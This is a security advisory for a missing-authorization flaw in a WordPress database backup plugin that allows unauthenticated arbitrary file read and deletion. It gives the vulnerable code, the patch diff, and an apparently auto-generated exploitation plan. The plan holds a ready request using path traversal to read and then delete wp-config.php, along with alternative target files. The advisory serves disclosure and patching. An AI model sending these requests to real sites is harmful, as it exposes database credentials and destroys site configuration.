CVE-2026-4030

Database Backup for WordPress <= 2.5.2 - Missing Authorization to Unauthenticated Arbitrary File Read and Deletion

highMissing Authorization
8.1
CVSS Score
8.1
CVSS Score
high
Severity
2.5.3
Patched in
2d
Time to patch

Description

The Database Backup for WordPress plugin for WordPress is vulnerable to unauthorized arbitrary file read and deletion in all versions up to, and including, 2.5.2. This is due to the plugin not properly enforcing the return value of its authorization check combined with a user-controlled backup directory parameter. This makes it possible for unauthenticated attackers to read and delete arbitrary files on the server, leading to Sensitive Information Exposure and potential site takeover. Note: This vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.5.2
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected pluginwp-db-backup

What Changed in the Fix

Changes introduced in v2.5.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-4030 ## 1. Vulnerability Summary The **Database Backup for WordPress** plugin (<= 2.5.2) contains a critical missing authorization vulnerability combined with a path traversal/arbitrary file access flaw. The plugin provides a mechanism to download or email ba…

Show full research plan

Exploitation Research Plan - CVE-2026-4030

1. Vulnerability Summary

The Database Backup for WordPress plugin (<= 2.5.2) contains a critical missing authorization vulnerability combined with a path traversal/arbitrary file access flaw. The plugin provides a mechanism to download or email backup files via the init() function. However, the authorization check function can_user_backup() is called but its return value is not enforced (it doesn't die() on failure).

In WordPress Multisite environments where the deprecated is_site_admin() function exists, this check fails to stop execution for unauthenticated users. Furthermore, the plugin allows the backup directory to be overridden via the wp_db_temp_dir GET parameter. This combination allows an unauthenticated attacker to read and subsequently delete arbitrary files on the server that the web server has permissions to access and write to.

2. Attack Vector Analysis

  • Endpoint: The site root index.php (triggering the init hook).
  • Vulnerable Action: The init() method of the wpdbBackup class, which is hooked to WordPress init.
  • Parameters:
    • backup: (GET) The name of the file to read/delete.
    • wp_db_temp_dir: (GET) The directory path where the file is located.
    • via: (GET) Delivery method (defaults to http for direct download).
  • Preconditions:
    • WordPress Multisite environment.
    • Presence of the is_site_admin() function.
    • The targeted directory (wp_db_temp_dir) must be writable by the PHP process (as per the is_writeable() check in __construct).

3. Code Flow

  1. Initialization: In wpdbBackup::__construct(), the plugin checks for the backup GET parameter:
    } elseif ( isset( $_GET['backup'] ) ) {
        $this->can_user_backup(); // Authorization check called but result ignored
        add_action( 'init', array( &$this, 'init' ) );
    }
    
  2. Directory Override: Also in __construct(), the backup directory can be set by the user:
    if ( isset( $_GET['wp_db_temp_dir'] ) ) {
        $requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );
        if ( is_writeable( $requested_dir ) ) {
            $tmp_dir = $requested_dir;
        }
    }
    $this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );
    
  3. Vulnerable Execution: The init() method is triggered:
    function init() {
        $this->can_user_backup(); // Result ignored again
        if ( isset( $_GET['backup'] ) ) {
            $via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';
            $this->backup_file = sanitize_text_field( $_GET['backup'] );
            $this->validate_file( $this->backup_file ); // Likely checks existence in backup_dir
            
            switch ( $via ) {
                // ... (email cases)
                default:
                    $success = $this->deliver_backup( $this->backup_file, $via );
            }
            exit;
        }
    }
    
  4. File Read & Delete: deliver_backup() (inferred) sends the file to the browser and then unlinks it from $this->backup_dir . $this->backup_file.

4. Nonce Acquisition Strategy

This specific vulnerability exploit path (via GET['backup']) does not require a nonce.

  • The __construct logic only requires check_admin_referer (nonce check) if $_POST['do_backup'] is set.
  • The $_GET['backup'] path only calls can_user_backup(), which is the faulty authorization check.
  • Therefore, no nonce acquisition is necessary for unauthenticated exploitation.

5. Exploitation Strategy

Goal: Read and Delete wp-config.php

Note: This is highly destructive as it will delete the configuration file.

Step 1: Identify a Writable Directory

The wp_db_temp_dir must be writable. Common candidates in WordPress are:

  • /var/www/html/wp-content/uploads (usually writable)
  • /tmp

Step 2: Path Traversal Attack

Since we need to target wp-config.php (usually in the web root), and wp_db_temp_dir must be writable, we can point wp_db_temp_dir to the uploads directory and use path traversal in the backup parameter to reach wp-config.php.

Request Details:

  • Method: GET
  • URL: http://localhost:8080/
  • Query Parameters:
    • backup=../../wp-config.php
    • wp_db_temp_dir=/var/www/html/wp-content/uploads/

Execution with http_request:

await http_request({
  method: "GET",
  url: "http://localhost:8080/",
  params: {
    backup: "../../wp-config.php",
    wp_db_temp_dir: "/var/www/html/wp-content/uploads/"
  }
});

6. Test Data Setup

  1. Multisite Setup: Ensure WordPress is configured for Multisite.
  2. Permissions: Ensure /var/www/html/wp-content/uploads/ is writable by the www-data user.
  3. Mock Function (if testing on modern WP): If testing on a version of WP where is_site_admin() is completely gone, it may need to be defined in a mu-plugin to simulate the vulnerable environment:
    // /wp-content/mu-plugins/mock-admin.php
    function is_site_admin() { return false; }
    

7. Expected Results

  • HTTP Response: The content of wp-config.php should be returned in the response body.
  • Content-Disposition: Headers likely include attachment; filename="wp-config.php".
  • Filesystem Change: The file /var/www/html/wp-config.php will be deleted immediately after the request completes.

8. Verification Steps

  1. Check Response Body: Verify the response contains the string DB_NAME or DB_PASSWORD.
  2. Check Filesystem via WP-CLI:
    # This should fail if the file was successfully deleted
    ls /var/www/html/wp-config.php
    
  3. Verify Site Failure: Attempting to load the WordPress site after exploitation should result in the WordPress "Welcome" installation screen, as wp-config.php is missing.

9. Alternative Approaches

If direct path traversal in the backup parameter is blocked by sanitize_text_field, try pointing wp_db_temp_dir directly to the directory containing sensitive files that are likely writable, such as:

  1. Targeting a specific log file in wp-content/:
    ?backup=debug.log&wp_db_temp_dir=/var/www/html/wp-content/
  2. Targeting a backup file created by the plugin itself in its default directory:
    ?backup=database_name_wp_2023.sql&wp_db_temp_dir=/var/www/html/wp-content/backup-xyz/ (if the directory is known or predictable).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Database Backup for WordPress plugin allows unauthenticated users to read and delete arbitrary files on a server due to a failure in enforcing authorization checks and a user-controllable backup directory parameter. Attackers can exploit this via path traversal to download sensitive files like wp-config.php, which are then automatically deleted from the server by the plugin after the download completes.

Vulnerable Code

// wp-db-backup.php @ lines 138-144
		if ( isset( $_GET['wp_db_temp_dir'] ) ) {
			$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );
			if ( is_writeable( $requested_dir ) ) {
				$tmp_dir = $requested_dir;
			}
		}

---

// wp-db-backup.php @ lines 162-165
		} elseif ( isset( $_GET['backup'] ) ) {
			$this->can_user_backup();
			add_action( 'init', array( &$this, 'init' ) );
		} else {

---

// wp-db-backup.php @ lines 168-170
	function init() {
		$this->can_user_backup();
		if ( isset( $_GET['backup'] ) ) {

Security Fix

--- wp-db-backup.php
+++ wp-db-backup.php
@@ -138,12 +138,6 @@
 
 		$tmp_dir = get_temp_dir();
 
-		if ( isset( $_GET['wp_db_temp_dir'] ) ) {
-			$requested_dir = sanitize_text_field( $_GET['wp_db_temp_dir'] );
-			if ( is_writeable( $requested_dir ) ) {
-				$tmp_dir = $requested_dir;
-			}
-		}
 
 		$this->backup_dir = trailingslashit( apply_filters( 'wp_db_b_backup_dir', $tmp_dir ) );
 		$this->basename   = 'wp-db-backup';
@@ -160,10 +154,12 @@
 			}
 		} elseif ( isset( $_GET['fragment'] ) ) {
-			$this->can_user_backup( 'frame' );
-			add_action( 'init', array( &$this, 'init' ) );
+			if ( $this->can_user_backup( 'frame' ) ) {
+				add_action( 'init', array( &$this, 'init' ) );
+			}
 		} elseif ( isset( $_GET['backup'] ) ) {
-			$this->can_user_backup();
-			add_action( 'init', array( &$this, 'init' ) );
+			if ( $this->can_user_backup() ) {
+				add_action( 'init', array( &$this, 'init' ) );
+			}
 		} else {
 			add_action( 'admin_menu', array( &$this, 'admin_menu' ) );
 		}
@@ -168,7 +164,9 @@
 
 	function init() {
-		$this->can_user_backup();
+		if ( ! $this->can_user_backup() ) {
+			return;
+		}
 		if ( isset( $_GET['backup'] ) ) {
 			$via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';

Exploit Outline

The exploit targets the WordPress `init` hook by sending a GET request to the site root with specific parameters. An attacker sets the `wp_db_temp_dir` parameter to a writable directory on the server (e.g., the WordPress uploads directory) and provides a path-traversal string in the `backup` parameter to target sensitive files (e.g., `../../wp-config.php`). Because the plugin fails to terminate execution when the `can_user_backup()` authorization check fails, and ignores nonce requirements for the GET-based backup retrieval path, the attacker can download the targeted file. After delivery, the plugin's `deliver_backup` logic deletes the file using `unlink()`, potentially disabling the site or removing audit logs. This exploit is effective in Multisite environments where legacy authorization functions exist.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.